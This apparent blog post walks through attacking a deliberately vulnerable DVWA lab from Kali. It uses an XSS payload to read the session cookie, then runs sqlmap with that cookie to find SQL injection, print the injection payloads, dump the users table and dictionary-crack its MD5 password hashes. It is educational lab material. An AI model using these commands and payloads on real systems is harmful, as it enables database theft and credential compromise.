Sqlmap and Passwords

Hello! It has been awhile since I have found the time to post. I am in a transition period of relocating and starting a new job, which has eaten most of my free time. In an effort to stay prepared for anything my new job will throw at me, I have gone back and started reviewing certain skills and tools I haven't visited in awhile. Through my wandering of the very large list of tools and concepts pentesters and reverse engineers need to be familiar with I found myself playing with sqlmap again. Sqlmap is an awesome tool used to find and exploit both regular and blind sql injection. Sqlmap is of course packaged in the pentesting distro Kali Linux.

In my tinkering, I ran across a feature I have either forgotten about or not seen sqlmap do before and thought I would share. This is the ability of sqlmap to crack passwords hashes pulled out of a database on the fly. Pretty cool! I have used sqlmap to find injections and pull data from databases several times before, put didn't remember it cracked passwords too. In order to see this in action you will need two Virtual Machines (VMs) setup; Kali Linux and Damn Vulnerable We Application (DVWA). In case you are not familiar, DVWA is part of OWASP's Broken Web Application Project which is highly vulnerable to all the major kinds of web app vulnerabilities. Great for testing and learning the basics. (or in this case a demo)

I will assume for time sake my readers know how to get both of these VMs up and running. I will also assume for this post the reader has basic understanding of sql injection. If you have trouble feel free to message me and I will try to help. I have my VM setup with the security level on "low" for this post. In Kali, navigate to the DVWA page, login as "user" and navigate to the "sql injection" section. It should look like the image below.

Now we need to gather some information to provide sqlmap. First, enter any value in the "User id" field and click "Submit" Take notice to the new url. You will notice the "id" parameter is now in the url and is set to the value you put in the id field. This is the url you will be giving sqlmap to test for sql injection. It should look like the image below.

Copy this to a text file and save it for later. Since we had to authenticate to get to this page the other big item we will need to give sqlmap is our cookie. There are a ton of different ways to obtain this information, but just for fun lets use XSS to get it. Two web app hacks in one post! Click on the "XSS reflect" link on the left side of the page. In the field that says "Whats your name?" type the following, removing the "." in the script tags. (Didn't want this to execute on this page)

<.script>alert(document.cookie)<./script>

. You should get a message box that has your current authentication cookie in it, like the image below.

Copy out the information in the message box and save it. Now move over to the Kali VM and open up a terminal window. Confirm sqlmap is installed and working by typing "sqlmap" you should get an error showing the options needed to run. Even though we know this website by design is vulnerable to sql injection lets confirm first. Do this with the information we saved by using the "-u" option to provide the url and the "--cookie" option to provide the cookie we saved. Note for the cookie you only need the "PHPSESSID" and the "security" cookies. Upon execution the output should look close to what is below

 
root@kali:~# sqlmap -u "http://192.168.1.16/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=9cgi3tlnkt5iuv6ej2b36s6uf2; security=low"

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 22:47:35

[22:47:35] [INFO] testing connection to the target URL
[22:47:35] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:47:36] [INFO] target URL is stable
[22:47:36] [INFO] testing if GET parameter 'id' is dynamic
[22:47:36] [WARNING] GET parameter 'id' does not appear dynamic
[22:47:36] [INFO] heuristics detected web page charset 'ascii'
[22:47:36] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[22:47:36] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] 
[22:47:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:47:40] [WARNING] reflective value(s) found and filtering out
[22:47:41] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Surname: admin")
[22:47:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[22:47:41] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable 
[22:47:41] [INFO] testing 'MySQL inline queries'
[22:47:41] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:47:41] [WARNING] time-based comparison requires larger statistical model, please wait............                                                                                   
[22:47:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[22:47:41] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[22:47:51] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable 
[22:47:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[22:47:51] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:47:51] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:47:52] [INFO] target URL appears to have 2 columns in query
[22:47:52] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection points with a total of 42 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 4946=4946 AND 'UwuJ'='UwuJ&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1' AND (SELECT 3237 FROM(SELECT COUNT(*),CONCAT(0x7177767171,(SELECT (CASE WHEN (3237=3237) THEN 1 ELSE 0 END)),0x71676e6771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'SWoz'='SWoz&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7177767171,0x4f58416672464879414a,0x71676e6771)#&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'ixMc'='ixMc&Submit=Submit
---
[22:47:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[22:47:57] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.1.16'

[*] shutting down at 22:47:57

Now normally you would go through the process of determining the databases (--dbs), the tables (--tables -D "dvwa") and the columns (--columns -T "users") before you would be able to get to the passwords. I am going to jump ahead and skip to the portion with the passwords, since I have already determined this other information. I wanted to dump all the data in the "users" tables. Todo this I used the following command. "sqlmap -u "http://192.168.1.16/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=9cgi3tlnkt5iuv6ej2b36s6uf2; security=low" -p "id" --dump -T "users"" First sqlmap analyzed the data and recognized that hashes were present and asked if I wanted to store them in a separate file:

 
[22:56:02] [INFO] fetching current database
[22:56:02] [INFO] fetching columns for table 'users' in database 'dvwa'
[22:56:02] [INFO] fetching entries for table 'users' in database 'dvwa'
[22:56:02] [WARNING] reflective value(s) found and filtering out
[22:56:02] [INFO] analyzing table dump for possible password hashes
[22:56:02] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[22:56:14] [INFO] writing hashes to a temporary file '/tmp/sqlmaphashes-bnhds5.txt' 

Then sqlmap asks if I wanted to attempt to crack them! Yes please!

do you want to crack them via a dictionary-based attack? [Y/n/q] 
[22:56:21] [INFO] using hash method 'md5_generic_passwd'

It then asks what dictionary to use, I choose the default and not to use suffixes since it is a lot slower.

what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 
[22:56:26] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] 
[22:56:30] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[22:56:40] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'                                                                                                 
[22:56:40] [INFO] cracked password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'                                                                                                  
[22:56:44] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'                                                                                                
[22:56:54] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'                                                                                                
[22:56:58] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'                                                                                               
[22:57:05] [INFO] cracked password 'user' for hash 'ee11cbb19052e40b07aac0ca060c23ee'                                                                                                   
[22:57:05] [INFO] postprocessing table dump                                                                                                                                             

Then of course it dumped the table and saved it for me.

Database: dvwa
Table: users
[6 entries]
+---------+---------+-----------------------------------------------------+---------------------------------------------+-----------+------------+
| user_id | user    | avatar                                              | password                                    | last_name | first_name |
+---------+---------+-----------------------------------------------------+---------------------------------------------+-----------+------------+
| 1       | admin   | http://192.168.1.16/dvwa/hackable/users/admin.jpg   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      |
| 2       | gordonb | http://192.168.1.16/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     |
| 3       | 1337    | http://192.168.1.16/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       |
| 4       | pablo   | http://192.168.1.16/dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      |
| 5       | smithy  | http://192.168.1.16/dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        |
| 6       | user    | http://192.168.1.16/dvwa/hackable/users/1337.jpg    | ee11cbb19052e40b07aac0ca060c23ee (user)     | user      | user       |
+---------+---------+-----------------------------------------------------+---------------------------------------------+-----------+------------+

[22:57:05] [INFO] table 'dvwa.users' dumped to CSV file '/usr/share/sqlmap/output/192.168.1.16/dump/dvwa/users.csv'
[22:57:05] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.1.16'

[*] shutting down at 22:57:05

Also notice when it dumped the table, it inserted the password next to the hash. Hope you find this feature as useful as I did. Please comment with any questions or thoughts.